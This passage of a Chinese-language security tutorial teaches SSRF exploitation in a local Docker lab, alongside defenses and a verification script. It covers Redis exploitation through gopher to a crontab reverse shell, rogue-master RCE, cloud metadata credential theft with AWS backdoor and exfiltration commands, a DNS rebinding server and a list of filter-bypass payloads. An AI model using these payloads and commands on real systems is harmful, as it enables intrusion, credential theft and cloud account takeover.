curl -s "http://127.0.0.1:8888/ssrf/fetch?url=gopher://127.0.0.1:6379/_%2A1%0D%0A%244%0D%0AINFO%0D%0A" \
| grep -E "redis_version|os:|executable|config_file"
# 预期输出:
# redis_version:5.0.14
# os:Linux 5.x x86_64
# executable:/data/redis-server
# config_file:
# ═══ 步骤 3:写入 crontab ═══
PAYLOAD=$(sed -n '2p' /tmp/payloads.txt) # 取第一行 payload
curl -s "http://127.0.0.1:8888/ssrf/fetch?url=$PAYLOAD"
# 预期输出:+OK +OK +OK +OK +OK +OK
# ★ 每个 +OK 对应一条 Redis 命令执行成功
# ═══ 步骤 4:确认写入成功 ═══
docker exec redis-vuln cat /var/spool/cron/root
# 预期输出:
# */1 * * * * bash -i >& /dev/tcp/172.20.0.1/4444 0>&1
# ═══ 步骤 5:开监听等反弹 ═══
nc -lvnp 4444
# 等待最多 1 分钟(crontab 是每分钟执行一次)
# 预期:
# connect to [172.20.0.1] from (UNKNOWN) [172.20.0.4] 45678
# root@redis:/data# id
# uid=0(root) gid=0(root) groups=0(root)
#
# ★★★ 拿到 root shell
★ 但这个实验在 Docker 里可能不成功,原因:
- Docker 容器里通常没有安装 cron
- Redis 官方镜像不是 root 运行(新版已经是 redis 用户)
两个条件恰好印证了 11 号文档说的:Redis 未授权的严重性 = 能写文件 × root 运行 × 公网可达。 官方镜像默认已经把“root 运行”这一环给断了——这就是安全基线的价值。
在 Docker 里验证写入能力(不一定要真反弹):
# 改成写到 /tmp 目录,验证"能写文件"这个能力
PAYLOAD="gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2414%0D%0A%0A%0ASSRF-WORKS%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%244%0D%0A%2Ftmp%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%244%0D%0Atest%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%2A1%0D%0A%244%0D%0Aquit%0D%0A"
curl -s "http://127.0.0.1:8888/ssrf/fetch?url=$PAYLOAD"
# 预期:+OK+OK+OK+OK+OK+OK
docker exec redis-vuln cat /tmp/test
# 预期输出:SSRF-WORKS
#
# ★ 证明:通过 SSRF + gopher,我们成功在 Redis 服务器上写了文件
5.2.5 主从复制 RCE(Redis 4.x/5.x 的通用解法)
当
CONFIG命令被禁用(rename-command CONFIG "")时,写文件这条路断了。 但主从复制不需要 CONFIG 命令。
# 用现成工具
git clone https://github.com/Ridter/redis-rce.git
cd redis-rce
# 下载恶意 .so(或自己编译)
# 这个 .so 里包含一个自定义的 Redis 模块,加载后能执行系统命令
# 用法:
python3 redis-rce.py \
-r 127.0.0.1 -p 6379 \ # 目标 Redis
-L 172.20.0.1 \ # 你的 IP(伪装成主库)
-P 8888 \ # 你的端口
-f exp.so \ # 恶意模块
-c "id" # 要执行的命令
# 预期输出:
# [*] Connecting to 127.0.0.1:6379
# [*] Setting up rogue server
# [*] SLAVEOF 172.20.0.1:8888
# [*] Syncing...
# [*] Loading module...
# [*] Executing: id
# uid=0(root) gid=0(root) groups=0(root)
★ 为什么主从复制更强?
| 写文件方式 | 主从复制方式 | |
|---|---|---|
需要 CONFIG 命令 |
✅ 需要 | ❌ 不需要 |
| 需要可写目录 | ✅ 需要 | ❌ 不需要 |
| 需要知道路径 | ✅ 需要 | ❌ 不需要 |
| 落磁盘 | ✅ 落(crontab/ssh key) | ❌ 不落磁盘(内存加载 so) |
受 rename-command CONFIG 影响 |
✅ 被防住 | ❌ 不受影响 |
防御(Redis 侧):
# redis.conf —— 全套加固
requirepass Str0ng_P@ssw0rd_Here! # ① 强密码
bind 127.0.0.1 # ② 只监听本机
protected-mode yes # ③ 保护模式
rename-command CONFIG "" # ④ 禁用 CONFIG(防写文件落马)
rename-command FLUSHALL "" # ⑤ 禁删库
rename-command EVAL "" # ⑥ 禁 Lua 执行
rename-command MODULE "" # ★⑦ 禁 MODULE(防主从复制加载 so)
rename-command SLAVEOF "" # ★⑧ 禁 SLAVEOF(防主从复制 RCE)
# 启动用户:非 root
user redis
# Docker 启动的正确姿势
docker run -d --name redis-safe \
--network lab-net \
-p 127.0.0.1:6379:6379 \ # ★ 只监听 127.0.0.1
-v /path/to/redis.conf:/usr/local/etc/redis/redis.conf \
redis:7.0 \
redis-server /usr/local/etc/redis/redis.conf
# 验证加固
redis-cli -h 127.0.0.1 ping
# 预期:(error) NOAUTH Authentication required. ← 需要密码了 ✓
5.3 打云元数据(本地模拟)
5.3.1 什么是元数据服务
云厂商给【每一台云服务器】开的一个固定内网地址:
AWS / 阿里云 / 腾讯云 / 华为云:169.254.169.254
这台机器访问这个地址,能拿到关于【它自己】的信息:
- 实例 ID、地域、可用区
- 网络配置(内网 IP、公网 IP、安全组)
- ★★★ 临时访问凭证(AK/SK / STS Token)← 最危险
- 用户数据(user-data,★ 很多人在里面放启动脚本和密钥!)
★ 危险三连:
1. 内网地址 → 防火墙/安全组不拦(出网规则通常只限制"访问公网")
2. 无需认证 → 谁访问都给
3. 任何程序都能访问 → 不只是 curl,任何能发 HTTP 请求的代码都行
5.3.2 本地模拟一个元数据服务
真实云上没有条件测试,我们自己搭一个假的:
#!/usr/bin/env python3
"""模拟云元数据服务 —— 用于 SSRF 实验
★ 只在本地 Docker 网络里运行"""
from http.server import BaseHTTPRequestHandler, HTTPServer
import json
class MetadataHandler(BaseHTTPRequestHandler):
def do_GET(self):
path = self.path
self.send_response(200)
self.send_header('Content-Type', 'text/plain')
self.end_headers()
# ★ 故意返回"敏感信息",模拟真实元数据服务
responses = {
'/': "1.0\n2016-09-02\nlatest",
'/latest/': "meta-data\ndynamic\nuser-data",
'/latest/meta-data/': "instance-id\nlocal-ipv4\npublic-ipv4\nsecurity-groups",
'/latest/meta-data/instance-id': "i-0abc123def456789",
'/latest/meta-data/local-ipv4': "172.20.0.5",
'/latest/meta-data/public-ipv4': "47.98.xxx.xxx",
'/latest/meta-data/security-groups': "sg-default\nsg-web",
# ★★★ 最关键的部分:IAM 角色凭证
'/latest/meta-data/iam/security-credentials/': "ecs-role",
'/latest/meta-data/iam/security-credentials/ecs-role': json.dumps({
"Code": "Success",
"AccessKeyId": "STS.NTg4YjE0ZTktZmYwNy00",
"AccessKeySecret": "8Kj3Hn2PqR5tYu7VwX9zAb1Cd2Ef3Gh4Ij5Kl6Mn7Op8",
"SecurityToken": "CAIShwJ1q6Ft5B2yfSjIr5fbDIjPvZ...",
"Expiration": "2026-09-04T16:00:00Z"
}, indent=2),
# ★ user-data 里经常被塞密钥(非常常见的错误实践)
'/latest/user-data': """#!/bin/bash
export DB_PASSWORD='Pr0d_DB_2024!'
export OSS_AK='LTAI5t9XXXXXXXXXX'
export OSS_SK='Kj3Hn2PqR5tYu7VwX9zAb1Cd2Ef3Gh4'
echo "startup done"
"""
}
body = responses.get(path, "404 Not Found")
self.wfile.write(body.encode())
def log_message(self, *args):
# 打印访问日志,方便观察 SSRF 请求
print(f"[元数据服务] 被访问: {self.path} 来自: {self.client_address[0]}")
if __name__ == '__main__':
print("[*] 模拟云元数据服务启动在 0.0.0.0:8111")
HTTPServer(('0.0.0.0', 8111), MetadataHandler).serve_forever()
# 启动模拟服务(★ 绑定到 169.254.169.254 更真实,Linux 下可以)
# 方式一:直接用 8111 端口模拟
python3 fake_metadata.py &
# 方式二(Linux,更真实):把 169.254.169.254 绑到本地回环
sudo ip addr add 169.254.169.254/32 dev lo
# 然后让服务监听 80 端口
# sudo python3 -c "修改端口为80后运行"
5.3.3 发起攻击
# ═══ 直接打(模拟真实云环境) ═══
curl -s "http://127.0.0.1:8888/ssrf/fetch?url=http://169.254.169.254/latest/meta-data/"
# 用模拟服务(8111 端口)
curl -s "http://127.0.0.1:8888/ssrf/fetch?url=http://127.0.0.1:8111/latest/meta-data/iam/security-credentials/"
# 预期输出:ecs-role
curl -s "http://127.0.0.1:8888/ssrf/fetch?url=http://127.0.0.1:8111/latest/meta-data/iam/security-credentials/ecs-role"
# 预期输出(★ 拿到钥匙了):
# {
# "Code": "Success",
# "AccessKeyId": "STS.NTg4YjE0ZTktZmYwNy00",
# "AccessKeySecret": "8Kj3Hn2PqR5tYu7VwX9zAb1Cd2Ef3Gh4Ij5Kl6Mn7Op8",
# "SecurityToken": "CAIShwJ1q6Ft5B2yfSjIr5fbDIjPvZ...",
# "Expiration": "2026-09-04T16:00:00Z"
# }
# ═══★ 更狠的:连 user-data 一起拿走 ═══
curl -s "http://127.0.0.1:8888/ssrf/fetch?url=http://127.0.0.1:8111/latest/user-data"
# 预期输出(★ 直接拿到数据库密码和 OSS 密钥):
# #!/bin/bash
# export DB_PASSWORD='Pr0d_DB_2024!'
# export OSS_AK='LTAI5t9XXXXXXXXXX'
# export OSS_SK='Kj3Hn2PqR5tYu7VwX9zAb1Cd2Ef3Gh4'
★ 拿到 AK 之后能做什么(真实云上):
# 配置云 CLI
aws configure set aws_access_key_id "STS.NTg4..."
aws configure set aws_secret_access_key "8Kj3Hn2..."
aws configure set aws_session_token "CAIShwJ1..."
# ① 列出所有 S3/OSS 存储桶
aws s3 ls
# ② 下载所有数据
aws s3 sync s3://company-backup ./stolen/
# ③ 创建新的管理员账号(持久化)
aws iam create-user --user-name backdoor
aws iam attach-user-policy --user-name backdoor \
--policy-arn arn:aws:iam::aws:policy/AdministratorAccess
# ④ 开一台挖矿机
aws ec2 run-instances --instance-type p3.8xlarge ...
★★ 从“一个 SSRF”到“整个云账号沦陷”,中间只差一次 HTTP 请求。
5.3.4 防御:IMDSv2(★ 重点)
IMDSv1(旧):GET /latest/meta-data/... → 直接返回凭证
IMDSv2(新):① PUT /latest/api/token → 拿一个 token
② GET /latest/meta-data/... 带 X-aws-ec2-metadata-token 头 → 才返回
★ 为什么 IMDSv2 能防住大部分 SSRF?
1. 需要 PUT 方法 —— 大部分 SSRF 漏洞只能发 GET
2. 需要自定义请求头 —— SSRF 通常控制不了 Header
3. ★ 关键:IMDSv2 会【拒绝带 X-Forwarded-For 头的请求】
→ 直接掐死"通过代理转发"这种 SSRF 利用方式
4. TTL 默认 1 跳 —— 响应不会被转发
各云厂商的加固方式:
# ═══ AWS:强制 IMDSv2 ═══
aws ec2 modify-instance-metadata-options \
--instance-id i-0abc123 \
--http-tokens required \
--http-endpoint enabled
# ═══ 阿里云:加固模式 ═══
# 控制台 → 实例 → 元数据 → 开启"加固模式"
# 或 CLI:
aliyun ecs ModifyInstanceMetadataOptions \
--InstanceId i-xxx --HttpTokens required
# ═══ 腾讯云 ═══
# 控制台 → 实例 → 元数据安全 → 开启
# ═══ 应用侧的兜底防御 ═══
// ★ 应用侧:把元数据地址加入 SSRF 黑名单(兜底,不能只靠这个)
private static final Set<String> BLOCKED_HOSTS = Set.of(
"169.254.169.254", // AWS / 阿里云 / 腾讯云 / 华为云
"metadata.google.internal", // GCP
"100.100.100.200", // 阿里云内网 DNS / 部分元数据
"metadata", "instance-data"
);
// ★ 还要在 isPrivateIp() 里加 169.254.0.0/16 的 link-local 判断(见 1.4.7 的代码)
5.4 DNS Rebinding 复现(★ 最精妙的绕过)
这是本章最难、也最能体现深度的实验。 做到这个,你就超过了 90% 的候选人。
5.4.1 原理回顾
攻击者的域名 evil.com,自己控制的 DNS 服务器,TTL 设为 0
时序:
T1 应用调用 InetAddress.getByName("evil.com")
→ DNS 返回 1.2.3.4(外网 IP)
→ 应用校验:1.2.3.4 不是内网 → ✅ 通过
T2 应用调用 URL.openConnection() 真正发起连接
→ 因为 TTL=0,系统重新解析
→ DNS 这次返回 127.0.0.1
→ 连接建立到了 127.0.0.1 ← ★★ 打到了内网
★ 根因:校验和使用之间有时间差(TOCTOU),
而 DNS 的解析结果在这段时间里【变了】
5.4.2 自己搭一个恶意 DNS 服务器
#!/usr/bin/env python3
"""DNS Rebinding 攻击服务器
★ 只在本地实验使用
原理:同一个域名,交替返回【外网 IP】和【内网 IP】"""
import socket
import struct
import threading
import time
import sys
# ★ 关键点:TTL 设成 0,强制客户端每次都重新解析
TTL = 0
FIRST_IP = "1.2.3.4" # 第一次返回:外网 IP(骗过白名单校验)
SECOND_IP = "127.0.0.1" # 第二次返回:内网 IP(真正连接的目标)
TARGET_DOMAIN = "rebinding.test"
# 记录每个客户端的请求次数
query_count = {}
lock = threading.Lock()
def build_response(query_data, ip):
"""构造 DNS 响应包"""
# 事务 ID
tid = query_data[0:2]
# Flags: 标准响应,无错误
flags = b'\x81\x80'
# 问题数、回答数
qdcount = b'\x00\x01'
ancount = b'\x00\x01'
nscount = b'\x00\x00'
arcount = b'\x00\x00'
header = tid + flags + qdcount + ancount + nscount + arcount
# 提取问题部分(从 0x0C 开始到第一个 0x00 结束,再加 4 字节的 QTYPE+QCLASS)
question_start = 12
question_end = question_start
while query_data[question_end] != 0:
question_end += 1
question_end += 5 # 0x00 + QTYPE(2) + QCLASS(2)
question = query_data[question_start:question_end]
# 回答部分:指向问题名的指针 (0xC00C)
answer = b'\xc0\x0c'
answer += b'\x00\x01' # TYPE = A
answer += b'\x00\x01' # CLASS = IN
answer += struct.pack('>I', TTL) # ★ TTL = 0
answer += b'\x00\x04' # RDLENGTH = 4
answer += socket.inet_aton(ip) # RDATA = IP
return header + question + answer
def handle(data, addr, sock):
"""处理单个查询"""
client = addr[0]
with lock:
query_count[client] = query_count.get(client, 0) + 1
n = query_count[client]
# ★★ 核心逻辑:第 1 次返回外网 IP,第 2 次起返回内网 IP
ip = FIRST_IP if n == 1 else SECOND_IP
try:
# 提取域名(简单解析)
domain = data[12:].split(b'\x00')[0].decode('utf-8', errors='ignore')
print(f"[{time.strftime('%H:%M:%S')}] 查询 #{n} 来自 {client}: "
f"{domain} → 返回 {ip}")
except Exception:
pass
sock.sendto(build_response(data, ip), addr)
if __name__ == '__main__':
print(f"[*] DNS Rebinding 服务器启动在 0.0.0.0:53")
print(f"[*] 域名: {TARGET_DOMAIN}")
print(f"[*] 第 1 次查询 → {FIRST_IP} (外网,骗过校验)")
print(f"[*] 第 2 次查询 → {SECOND_IP} (内网,真正连接)")
print()
print("使用方法:")
print(" 在靶场机器上把 DNS 指向本服务器:")
print(f" echo 'nameserver 你的IP' > /etc/resolv.conf")
print(f" 然后访问:http://靶场:8888/ssrf/fetch?url=http://{TARGET_DOMAIN}:8888/")
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.bind(('0.0.0.0', 53))
while True:
data, addr = sock.recvfrom(512)
threading.Thread(target=handle, args=(data, addr, sock)).start()
5.4.3 复现攻击
# ═══ 步骤 1:启动恶意 DNS 服务器 ═══
sudo python3 dns_rebind.py
# (需要 53 端口权限,或者用 5353 端口 + 靶场 DNS 配置)
# ═══ 步骤 2:让靶场机器使用我们的 DNS ═══
# 如果靶场跑在 Docker 里:
docker exec -it <靶场容器> sh -c "echo 'nameserver 172.20.0.1' > /etc/resolv.conf"
# 或者在 docker run 时指定:
docker run -d --dns 172.20.0.1 ... vuln-lab
# ═══ 步骤 3:用一个"有 SSRF 但有 IP 校验"的接口测试 ═══
# 假设靶场有一个接口只做了"解析域名 → 校验 IP"的黑名单
curl -s "http://127.0.0.1:8888/ssrf/fetch-vuln-check?url=http://rebinding.test:8888/actuator/env"
# 预期过程(DNS 服务器日志):
# [15:30:01] 查询 #1 来自 172.20.0.5: rebinding.test → 返回 1.2.3.4
# ↑ 应用解析域名,拿到 1.2.3.4,校验通过(不是内网)
# [15:30:01] 查询 #2 来自 172.20.0.5: rebinding.test → 返回 127.0.0.1
# ↑ 应用发起连接,重新解析,这次拿到 127.0.0.1
# → 连接建立到 127.0.0.1:8888
# → ★★ 拿到了 actuator/env 的内容!
# ═══ 步骤 4:验证绕过成功 ═══
# 如果返回了 actuator 的配置信息,说明绕过成功
5.4.4 三种防御方式(★ 面试必答)
// ✅ 防御 1:校验通过后,【用 IP 重建 URL】再连接(★ 最根本)
// 把 DNS 解析结果"固定"下来,不给它第二次变化的机会
URL u = new URL(userUrl);
InetAddress addr = InetAddress.getByName(u.getHost());
if (isPrivateIp(addr)) {
throw new SecurityException("禁止访问内网");
}
// ★★ 关键:用解析到的 IP 重建 URL,而不是用原域名
String ip = addr.getHostAddress();
URL safeUrl = new URL(u.getProtocol(), ip,
u.getPort() == -1 ? u.getDefaultPort() : u.getPort(),
u.getFile());
HttpURLConnection conn = (HttpURLConnection) safeUrl.openConnection();
// ★ 但要注意:这样 Host 头会变成 IP,对 HTTPS 的 SNI 和虚拟主机有影响
// 生产环境需要额外设置 Host 头,且不能因此放松校验
// ✅ 防御 2:连接建立后【再校验一次】对端 IP(★ 最可靠)
SocketFactory factory = new SocketFactory() {
@Override
public Socket createSocket(String host, int port) {
Socket s = new Socket();
s.connect(new InetSocketAddress(host, port), 3000);
// ★★ 连接建立后,校验【实际连接到的 IP】
InetAddress actual = s.getInetAddress();
if (isPrivateIp(actual)) {
s.close();
throw new SecurityException("DNS Rebinding 检测:实际连接到内网 " + actual);
}
return s;
}
};
// 把这个 factory 设给 HttpsURLConnection
// ✅ 防御 3:自己实现 DNS 解析并缓存【忽略 TTL】
private static final Map<String, String> dnsCache = new ConcurrentHashMap<>();
private String resolveAndCache(String host) {
return dnsCache.computeIfAbsent(host, h -> {
try {
return InetAddress.getByName(h).getHostAddress();
} catch (Exception e) {
throw new SecurityException("DNS 解析失败", e);
}
});
// ★ 缓存后不再重新解析,DNS 无法 rebinding
}
★ 对比表(面试时列这个):
| 防御方式 | 效果 | 缺点 |
|---|---|---|
| 解析后校验 IP | ❌ 无效 | 有 TOCTOU 窗口 |
| 用 IP 重建 URL | ✅ 有效 | HTTPS 场景要处理 SNI/Host 头 |
| 连接后校验实际 IP | ✅✅ 最可靠 | 需要自定义 SocketFactory |
| 自建 DNS 缓存忽略 TTL | ✅ 有效 | 缓存需要管理,且要配合其他措施 |
| 域名白名单 | ✅✅ 最推荐 | 只适合访问固定几个外部服务的场景 |
5.5 绕过技巧实操(★ 面试高频)
面试官问“SSRF 怎么防”,你答“校验 IP 黑名单”——他下一个问题必然是“那怎么绕过?” 下面这些你要能说出 5 种以上。
# 准备一个只做黑名单校验的接口做测试
# 假设它拦 127.0.0.1 和 localhost
# ═══ 绕过 1:十进制 / 八进制 / 十六进制 IP ═══
curl "?url=http://2130706433/" # 2130706433 = 127.0.0.1(十进制)
curl "?url=http://0x7F000001/" # 十六进制
curl "?url=http://017700000001/" # 八进制
# 验证:python3 -c "print(2130706433 >> 24 & 255, 2130706433 >> 16 & 255, ...)"
python3 -c "
import socket,struct
print(struct.unpack('!I', socket.inet_aton('127.0.0.1'))[0]) # 2130706433
"
# ═══ 绕过 2:特殊的 localhost 写法 ═══
curl "?url=http://127.1/" # ★ 127.1 等价于 127.0.0.1
curl "?url=http://127.0.1/" # 127.0.0.1 的另一种写法
curl "?url=http://0.0.0.0/" # 某些系统上等价
curl "?url=http://[::1]/" # IPv6 的 localhost
curl "?url=http://[::ffff:127.0.0.1]/" # IPv4-mapped IPv6
# ═══ 绕过 3:自己的域名 A 记录指向内网 ═══
# 在 DNS 服务商那里加一条 A 记录:
# evil.attacker.com A 127.0.0.1
curl "?url=http://evil.attacker.com:8888/actuator/env"
# 或者用现成的服务(★ 这些是安全研究者提供的公共服务):
curl "?url=http://localtest.me/" # localtest.me 解析到 127.0.0.1
curl "?url=http://127.0.0.1.nip.io/" # nip.io 会把域名里的 IP 解析出来
curl "?url=http://spoofed.burpcollaborator.net/"
# ═══ 绕过 4:302 重定向 ═══
# 攻击者自己的服务器上放一个 302.php:
# <?php header('Location: http://127.0.0.1:8888/actuator/env'); ?>
curl "?url=http://attacker.com/302.php"
# ★ 应用第一次请求的是外网地址(校验通过),然后跟随 302 跳到内网
# → 防御:conn.setInstanceFollowRedirects(false)
# ═══ 绕过 5:短链 ═══
curl "?url=http://tinyurl.com/xxxxx" # 短链背后的真实地址可以是内网的
# ★ 同上,也是靠重定向
# ═══ 绕过 6:DNS Rebinding ═══
# 见 5.4
# ═══ 绕过 7:Unicode / IDN 归一化 ═══
curl "?url=http://ⓛⓞⓒⓐⓛⓗⓞⓢⓣ/" # 带圈字符,会被 IDN 归一化成 localhost
curl "?url=http://①②⑦.0.0.1/" # 全角数字
# ★ 浏览器和某些库会自动做 IDNA 归一化
# ═══ 绕过 8:URL 解析差异(★ 最容易被忽视) ═══
# 不同语言/库对 URL 的解析不一致,导致"校验时看到的是 A,请求时发的是 B"
curl "?url=http://foo@127.0.0.1:8888/bar" # @ 前面是"用户名",实际连 127.0.0.1
curl "?url=http://127.0.0.1#@attacker.com/" # # 后面是 fragment
curl "?url=http://attacker.com\@127.0.0.1/" # 反斜杠
curl "?url=http://127.0.0.1:8888 .attacker.com/" # 空格
# ★ 经典案例:Java 的 URL 和某些校验库对 http://a.com@127.0.0.1 的
# getHost() 返回值不同 → 校验过了但实际连的是 127.0.0.1
python3 -c "
from urllib.parse import urlparse
u = urlparse('http://foo@127.0.0.1:8888/bar')
print('hostname:', u.hostname) # 127.0.0.1 ← 这才是真实连接的地址
print('netloc:', u.netloc) # foo@127.0.0.1:8888
"
★ 综合防御代码(生产级):
public final class SafeUrlFetcher {
// 允许的协议
private static final Set<String> ALLOWED_PROTOCOLS = Set.of("http", "https");
// 允许的端口
private static final Set<Integer> ALLOWED_PORTS = Set.of(80, 443, 8080);
// 禁止的 Host
private static final Set<String> BLOCKED_HOSTS = Set.of(
"169.254.169.254", "metadata", "metadata.google.internal",
"localhost", "instance-data"
);
public String fetch(String userUrl) throws IOException {
URL url = new URL(userUrl);
// ① 协议白名单
String proto = url.getProtocol().toLowerCase();
if (!ALLOWED_PROTOCOLS.contains(proto)) {
throw new SecurityException("协议不允许: " + proto);
}
// ② ★ 端口白名单(防止打 6379/3306 等内网服务)
int port = url.getPort() == -1 ? url.getDefaultPort() : url.getPort();
if (!ALLOWED_PORTS.contains(port)) {
throw new SecurityException("端口不允许: " + port);
}
// ③ ★ 用权威方式取 host(避免 @ 等绕过)
URI uri = url.toURI();
String host = uri.getHost();
if (host == null) {
throw new SecurityException("无法解析主机名(可能是畸形 URL)");
}
host = host.toLowerCase();
// ④ 禁用的 Host
if (BLOCKED_HOSTS.contains(host)) {
throw new SecurityException("禁止访问的主机: " + host);
}
// ⑤ 解析 IP(★ 用自建缓存,防 DNS Rebinding)
InetAddress addr = InetAddress.getByName(host);
if (isPrivateOrReserved(addr)) {
throw new SecurityException("禁止访问内网地址: " + addr.getHostAddress());
}
// ⑥ 建立连接
HttpURLConnection conn = (HttpURLConnection) url.openConnection();
conn.setInstanceFollowRedirects(false); // ★ ⑦ 禁重定向
conn.setConnectTimeout(3000);
conn.setReadTimeout(5000);
// ⑧ 响应后校验
int code = conn.getResponseCode();
if (code >= 300 && code < 400) {
throw new SecurityException("不允许重定向");
}
if (conn.getContentLength() > 10 * 1024 * 1024) {
throw new SecurityException("响应过大");
}
return readStream(conn.getInputStream());
}
private boolean isPrivateOrReserved(InetAddress addr) {
if (addr.isLoopbackAddress() || addr.isSiteLocalAddress()
|| addr.isAnyLocalAddress() || addr.isLinkLocalAddress()
|| addr.isMulticastAddress()) {
return true;
}
byte[] b = addr.getAddress();
if (b.length == 4) {
int o1 = b[0] & 0xFF, o2 = b[1] & 0xFF;
if (o1 == 10) return true; // 10/8
if (o1 == 172 && o2 >= 16 && o2 <= 31) return true; // 172.16/12
if (o1 == 192 && o2 == 168) return true; // 192.168/16
if (o1 == 169 && o2 == 254) return true; // 169.254/16 ★ 元数据
if (o1 == 127) return true; // 127/8
if (o1 == 0) return true; // 0/8
if (o1 >= 224) return true; // 组播和保留
if (o1 == 100 && o2 >= 64 && o2 <= 127) return true; // 100.64/10 CGNAT
} else if (b.length == 16) {
// IPv6
if (b[0] == 0 && b[1] == 0 && b[2] == 0 && b[3] == 0
&& b[4] == 0 && b[5] == 0) return true; // ::1 等
if ((b[0] & 0xFE) == 0xFC) return true; // fc00::/7 唯一本地
if (b[0] == (byte)0xFE && (b[1] & 0xC0) == 0x80) return true; // fe80::/10 链路本地
}
return false;
}
}
5.6 复测脚本
#!/usr/bin/env bash
# verify_ssrf.sh
TARGET="${1:-http://127.0.0.1:8888}"
PASS=0; FAIL=0
try() {
local url="$1"; local desc="$2"; local bad="${3:-uid=|root:|java.version|Actuator}"
local resp=$(curl -s --max-time 6 -G "$TARGET/ssrf/fetch" --data-urlencode "url=$url" 2>/dev/null)
if echo "$resp" | grep -qE "$bad"; then
echo " ✗ [可被利用] $desc"
echo " → $(echo "$resp" | head -c 120)"
FAIL=$((FAIL+1))
else
echo " ✓ [已防护] $desc"
PASS=$((PASS+1))
fi
}
echo "════════ SSRF 复测 ════════"
echo "目标: $TARGET"
echo ""
echo "【1】本地回环"
try "http://127.0.0.1:8888/actuator/env" "127.0.0.1"
try "http://localhost:8888/actuator/env" "localhost"
try "http://127.1:8888/actuator/env" "127.1 简写"
try "http://2130706433:8888/actuator/env" "十进制 IP"
try "http://0x7F000001:8888/actuator/env" "十六进制 IP"
try "http://[::1]:8888/actuator/env" "IPv6 ::1"
echo ""
echo "【2】文件协议"
try "file:///etc/passwd" "file 协议读文件" "root:|/bin/bash"
echo ""
echo "【3】云元数据"
try "http://169.254.169.254/latest/meta-data/" "AWS/阿里云元数据"
try "http://metadata.google.internal/" "GCP 元数据"
echo ""
echo "【4】内网服务"
try "http://172.20.0.2:6379/" "Redis 6379"
try "http://172.20.0.3:3306/" "MySQL 3306"
try "gopher://127.0.0.1:6379/_%2A1%0D%0A%244%0D%0APING%0D%0A" "gopher 协议" "PONG"
echo ""
echo "【5】重定向绕过"
# 需要先准备一个 302 服务,这里用 httpbin 演示
try "http://httpbin.org/redirect-to?url=http://127.0.0.1:8888/actuator/env" "302 重定向"
echo ""
echo "════════ 结果 ════════"
echo "通过: $PASS 失败: $FAIL"
[ $FAIL -eq 0 ] && echo "★ 全部通过,SSRF 已修复" || echo "!! 仍有 $FAIL 项可被利用"
5.7 面试怎么讲
30 秒口述版
“SSRF 我做的是从探测一路打到拿凭证的完整实验。基础部分用
file:///读了 passwd,用端口扫描确认了内网的 Redis。最精妙的是 gopher 打 Redis:Redis 的 RESP 协议是纯文本的,而 gopher 能构造任意 TCP 报文,所以我把 Redis 命令转成 RESP 格式、URL 编码后塞进
gopher://URL 里,让 SSRF 去’访问’它——实际上是向 Redis 发了命令。我写了脚本生成 payload,成功在 Redis 服务器上写了文件。看到+PONG的那一刻印象很深,因为这意味着 SSRF 变成了’任意 TCP 客户端’。云元数据那部分我本地搭了个模拟服务,因为真实云上没条件测。拿到 AK 之后我演示了怎么用它列存储桶、建后门账号——从一个 SSRF 到整个云账号沦陷,中间只差一次 HTTP 请求。
DNS Rebinding 我也复现了,自己写了个恶意 DNS 服务器,第一次查询返回外网 IP 骗过校验,第二次返回 127.0.0.1 真正连接。防御上关键是要在连接建立之后再校验一次 IP,而不是解析后校验,中间有 TOCTOU 窗口。
绕过手法我能说出 8 种以上:十进制 IP、127.1 简写、IPv6、自己的域名 A 记录、302 跳转、短链、Unicode 归一化、还有 URL 解析差异(比如
http://foo@127.0.0.1里 @ 前面其实是用户名)。所以防御绝不能用 IP 黑名单,要用域名白名单或者连接后校验。“
第六章:Java 反序列化与组件漏洞实战
这一章在全文档里的位置:如果说第二到五章(SQL 注入、XSS/CSRF、文件上传、SSRF)是“Web 层漏洞“, 那这一章就是Java 工程师的专属战场——所有漏洞都长在 Java 生态的组件里。
为什么这章对你(Java 后端)特别重要: 面试官问“你了解哪些 Java 安全漏洞”时,绝大多数候选人只能答“SQL 注入和 XSS”。 而你能答出 Shiro-550 / Log4Shell / Fastjson autotype / SpEL 注入,并讲清楚 “这些漏洞的根因都是同一个:把不可信数据当成了代码去执行”, 这个认知层次是绝大多数候选人到不了的。
这一章的四个 CVE 复现,建议至少亲手做完前两个(Shiro-550 和 Log4Shell), 因为它们是简历上“能讲 5 分钟”的实战故事,而且面试被问到的概率极高(任何用过 Shiro/Log4j 的公司都会问)。
6.0 先建立一张“漏洞地图”
这四个漏洞看起来毫不相干(一个权限框架、一个日志库、一个 JSON 库、一个网关), 但它们本质上是同一件事的四种变体:
┌──────────────────────────────────────────┐
│ 根因:把不可信数据当成「代码/指令」执行 │
└──────────────────────────────────────────┘
│
┌──────────────┬───────────────┼───────────────┬──────────────┐
│ │ │ │ │
数据被当成 数据被当成 数据被当成 数据被当成
「对象」还原 「JNDI 地址」 「类名」加载 「表达式」求值
│ │ │ │ │
Shiro-550 Log4Shell Fastjson Spring Cloud
(rememberMe (${jndi:ldap:// (@type 指定 Gateway
Cookie 反序列化) x/x} 触发) 任意类) (SpEL 表达式)
│ │ │ │ │
└──────────────┴───────────────┴───────────────┴──────────────┘
│
最终结果:RCE
名词解释(这一章会反复出现,先记住):
| 名词 | 英文/全称 | 白话解释 | 生活类比 |
|---|---|---|---|
| RCE | Remote Code Execution,远程代码执行 | 攻击者能在你的服务器上执行任意命令(whoami、rm -rf、开矿机) |
相当于把你家钥匙给了陌生人,他不仅能进门,还能翻保险柜 |
| 反序列化漏洞 | Deserialization Vulnerability | 服务器把一段外部传来的二进制数据还原成对象时,数据里藏着“还原过程中请执行这些命令”的指令 | 你收到一个快递,拆包裹的动作本身触发了炸弹 |
| Gadget Chain | 利用链 | 把 JDK/第三方库里已有的、无害的小方法串成一条链,最终实现 RCE。攻击者不注入新代码,只“指挥”已有代码 | 用乐高原装零件拼出一把能开锁的钥匙——零件都是正版的,但组合起来是你没想到的 |
